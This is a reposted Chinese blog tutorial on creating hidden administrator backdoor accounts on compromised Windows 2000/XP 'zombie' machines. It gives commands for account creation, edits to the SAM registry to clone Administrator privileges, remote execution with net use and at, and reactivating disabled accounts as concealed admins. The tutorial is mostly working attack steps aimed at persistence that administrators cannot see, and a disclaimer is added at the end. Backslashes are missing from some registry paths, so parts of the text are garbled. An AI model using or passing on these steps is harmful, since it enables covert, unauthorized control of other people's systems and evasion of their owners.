建立隐藏的超級使用者多種方法
一、如何在圖形界面建立隐藏的超級使用者
圖形界面下适用本地或開3389終端服務的殭屍電腦上。上面我提到的那位作者說的方法很好,但是較為複雜,還要用到psu.exe(讓程式以系統使用者身份運作的程式),如果在殭屍電腦上的話還要上傳psu.exe。我說的這個方法将不用到psu.exe這個程式。因為windows2000有兩個系統資料庫編輯器:regedit.exe和regedt32.exe。XP中regedit.exe和regedt32.exe實為一個程式,修改鍵值的權限時在右鍵中點"權限"來修改。對regedit.exe我想大家都很熟悉,但卻不能對系統資料庫的項鍵設定權限,而regedt32.exe最大的優點就是能夠對系統資料庫的項鍵設定權限。nt/2000/xp的帳戶資訊都在系統資料庫的HKEY_LOCAL_MACHINESAMSAM鍵下,但是除了系統使用者SYSTEM外,其它使用者都無權檢視到裡面的資訊,是以我首先用regedt32.exe對SAM鍵為我設定為"完全控制"權限。這樣就可以對SAM鍵内的資訊進行讀寫了了。具體步聚如下:
1、假設我們是以超級使用者administrator登入到開有終端服務的殭屍電腦上的,首先在指令行下或帳戶管理器中建立一個帳戶:hacker$,這裡我在指令行下建立這個帳戶
net user hacker$ 1234 /add
2、在開始/運作中輸入:regedt32.exe并回車來運作regedt32.exe。
3、點"權限"以後會彈出視窗
點添加将我登入時的帳戶添加到安全欄内,這裡我是以administrator的身份登入的,是以我就将administrator加入,并設定權限為"完全控制"。這裡需要說明一下:最好是添加你登入的帳戶或帳戶所在的組,切莫修改原有的帳戶或組,否則将會帶來一系列不必要的問題。等隐藏超級使用者建好以,再來這裡将你添加的帳戶删除即可。
4、再點"開始"→"運作"并輸入"regedit.exe" 回車,啟動系統資料庫編輯器regedit.exe。
打開鍵:HKEY_LOCAL_MAICHINESAMSAMDomainsaccountusernameshacker$"
5、将項hacker$、00000409、000001F4導出為hacker.reg、409.reg、1f4.reg,用記事本分别打這幾個導出的檔案進行編輯,将超級使用者對應的項000001F4下的鍵"F"的值複制,并覆寫hacker$對應的項00000409下的鍵"F"的值,然後再将00000409.reg與hacker.reg合并。
6、在指令行下執行net user hacker$ /del将使用者hacker$删除:net user hacker$ /del
7、在regedit.exe的視窗内按F5重新整理,然後打檔案-導入系統資料庫檔案将修改好的hacker.reg導入系統資料庫即可
8、到此,隐藏的超級使用者hacker$已經建好了,然後關閉regedit.exe。在regedt32.exe視窗内把HKEY_LOCAL_MACHINESAMSAM鍵權限改回原來的樣子(隻要删除添加的帳戶administrator即可)。
9、注意:隐藏的超級使用者建好後,在帳戶管理器看不到hacker$這個使用者,在指令行用"net user"指令也看不到,但是超級使用者建立以後,就不能再改密碼了,如果用net user指令來改hacker$的密碼的話,那麼在帳戶管理器中将又會看這個隐藏的超級使用者了,而且不能删除。
如何在指令行下遠端建立隐藏的超級使用者
在這裡将用at的指令,因為用at産生的計劃任務是以系統身份運作的,是以也用不到psu.exe程式。為了能夠使用at指令,殭屍電腦必須開有schedule的服務,如果沒有開啟,可用流光裡帶的工具netsvc.exe或sc.exe來遠端啟動,當然其方法也可以,隻要能啟動schedule服務就行。
對于指令行方式,你可以采用各種連接配接方式,如用SQLexec連接配接MSSQL的1433端口,也可以用telnet服務,隻要以你能得到一個cmdshell,并且有運作at指令的權限就可以。
1、首先找到一台殭屍電腦,至于如何來找那不是我這裡所說的話題。這裡先假設找到一台超級使用者為administrator,密碼為12345678的殭屍電腦,現在我們開始在指令行下遠端為它建立隐藏的超級使用者。(例子中的主機是我的區域網路内的一台主機,我将它的ip位址改為13.50.97.238,,請勿在網際網路上對号入座,以免騷擾正常的ip位址。)
2、先與殭屍電腦建立連接配接,指令為: net use 13.50.97.238ipc$ "12345678" /user:"administrator
3、用at指令在殭屍電腦上建立一個使用者(如果at服務沒有啟動,可用小榕的netsvc.exe或sc.exe來遠端啟動):at 13.50.97.238 12:51
c:winntsystem32net.exe user hacker$ 1234 /add
建立這個加有$符的使用者名,是因為加有$符後,指令行下用net user将不顯示這個使用者,但在帳戶管理器卻能看到這個使用者。
4、同樣用at指令導出HKEY_LOCAL_MACHINEsamsamDomainsaccountusers下鍵值:at 13.50.97.238 12:55
c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers
/e 是regedit.exe的參數,在_LOCAL_MACHINESAMSAMDomainsaccountusers這個鍵的一定要以結尾。必要的情況下馍以用引号将"c:winntregedit.exe /e hacker.reg HKEY_LOCAL_MACHINESAMSAMDomainsaccountusers"引起來。
5、将殭屍電腦上的hacker.reg下載下傳到本機上用記事本打開進行編輯指令為:copy 13.50.97.238admin$system32hacker.reg
c:hacker.reg
修改的方法圖形界中已經介紹過了,這裡就不作介紹了。
6、再将編輯好的hacker.reg拷回殭屍電腦上 copy c:hacker.reg 13.50.97.238admin$system32hacker1.reg
7、檢視殭屍電腦時間:net time 13.50.97.238 然後用at指令将使用者hacker$删除:
at 13.50.97.238 13:40 net user hacker$ /del
8、驗證hacker$是否删除:用
net use 13.50.97.238 /del 斷開與殭屍電腦的連接配接。
net use 13.50.97.238ipc$ "1234" /user:"hacker$" 用帳戶hacker$與殭屍電腦連接配接,不能連接配接說明已删除。
9、再與殭屍電腦建立連接配接:net use 13.50.97.238ipc$ "12345678" /user:"administrator"
再取得殭屍電腦時間,用at指令将拷回殭屍電腦的hacker1.reg導入殭屍電腦系統資料庫:
at 13.50.97.238 13:41 c:winntregedit.exe /s hacker1.reg
regedit.exe的參數/s是指安靜模式。
10、再驗證hacker$是否已建立,方法同上面驗證hacker$是否被删除一樣。
11、再驗證使用者hacker$是否有讀、寫、删的權限,如果不放心,你還可驗證是否能建立其它帳戶。
12、通過11可以斷定使用者hacker$具有超級使用者權限,因為最初我用at指令建立它的時候是一個普通使用者,而現在卻具有遠端讀、寫、删的權限。
三、如果殭屍電腦沒有開3389終端服務,而我又不想用指令行,怎麼辦?
這種情況下,你也可以用界面方式來遠端為殭屍電腦建立隐藏的超級使用者。因為regedit.exe、regedt32.exe都有連接配接網絡系統資料庫的功能,你可以用regedt32.exe來為遠端主機的系統資料庫項設定權限,用regedit.exe來編輯遠端系統資料庫。帳戶管理器也有一項連另一台計算機的功能,你可以用帳戶管理器為遠端主機建立和删除帳戶。具體步聚與上面介紹的相似,我就不多說了,隻它的速度實在是令人難以忍受。
但是這裡有兩個前提:1、先用net use 殭屍電腦ipipc$ "密碼" /user:"超級使用者名"來與遠端主機建立連接配接以後,才能用regedit.exe regedt32.exe及帳戶管理器與遠端主機連接配接。
2、遠端主機必須開啟遠端系統資料庫服務(沒有開啟的話,你也可以遠端開啟,因為你有超級使用者的密碼了)。
四、利用被禁用的帳戶建立隐藏的超級使用者:
我們可以用殭屍電腦上被禁止的使用者來建立隐藏的超組使用者.方法如下:
1.想辦法檢視有哪些使用者被細心的管理者禁止,一般情況下,有些管理者出于安全考慮,通常會将guest禁用,當然了會禁用其它使用者。在圖形界面下,非常容易,隻要在帳戶管理器中就可以看到被禁用的帳戶上有一個紅叉;而在指令行下,我還沒有想到好的辦法,隻能在指令行下用指令:"net user 使用者名"一個一個來檢視使用者是否被禁用。
2.在這裡,我們假設使用者hacker被管理者禁用。首先,我先用小榕的超組使用者克隆程式CA.exe,将被禁用的使用者hacker 克隆成超級使用者(克隆之後,被禁用的使用者hacker就會自動被激活了): CA.EXE 殭屍電腦ip Administrator 超級使用者密碼 hacher hacher密碼。
3.如果你現在一個cmdshell,如利用telnet服務或SQLEXEC連接配接殭屍電腦的msSQL的預設端口1433得到的shell都可以,這時你隻要輸入指令:
net user hacker /active:no 這樣使用者hacker就被禁用了(至少表面上是這樣的),當然你也可以将使用者hacher換成其它的被禁用的使用者。
4.這時如果你在圖形界面下獯帳戶管理器中的使用者時,會發現使用者hacker被禁用了,但事實上是這樣的嗎?你用這個被禁用的使用者連接配接一下殭屍電腦看看是否能連上?用指令:net user 殭屍電腦ipipc$ "hacker密碼" /user:"hacker" 連一連看看。我可以告訴大家,經過我多次試驗,次次都能成功,而且還是超級使用者權限。
5.如果沒有cmdshell怎麼辦?你可以我上面介紹的at指令來禁用使用者hacker;指令格式:at 殭屍電腦ip 時間 net user hacker /active:no
6.原理:具體的高深的原理我也說不上來,我隻能從最簡單的說。你先在圖形界面下在帳戶管理器中禁用一下超級使用者administrator看看,肯定會彈出一對話框,并禁止你繼續禁用超級使用者administrator,同樣,因為在克隆時,hacker在系統資料庫的"F"鍵被超級使用者administrator在系統資料庫的"F"鍵所替代,因而hacker就具有了超級使用者的權限了,但是由于hacker在系統資料庫内"C"健還是原來的"C"鍵,是以hacker還是會被禁用,但是它的超級使用者權限卻不會被禁用,是以被禁用的使用者hacker還是可以連接配接殭屍電腦,而且還具有超級使用者的權限。具體我也說不明白,大家權且這麼了解吧。
五、注意的幾點事項:
1、隐藏的超級使用者建立以後,在帳戶管理器中和指令行下均看不到這個使用者,但這個使用者卻存在。
2、隐藏的超級使用者建立以後,就不能再修改密碼了,因為一旦修改密碼,這個隐藏的超級使用者就會暴露在帳戶管理器中,而且不能删除。
3、如在本機上試驗時,最好用系統自帶的備份工具先備份好本機的"系統狀态"主要是系統資料庫的備份,因為本人做試驗時,曾出現過帳戶管理器中看不到任何使用者,組中也看不到任何組的現象,但它們卻存在。幸好我有備份,呵呵。SAM鍵是畢竟系統最敏感的部位。
4、本方法在2000/XP上測試通過,未在NT上測試。本方法僅供研究,請勿将本方法用于破壞上,利用本方法造成嚴重後果者,由使用者負責,本人概不負責。
本文轉自loveme2351CTO部落格,原文連結: http://blog.51cto.com/loveme23/8615,如需轉載請自行聯系原作者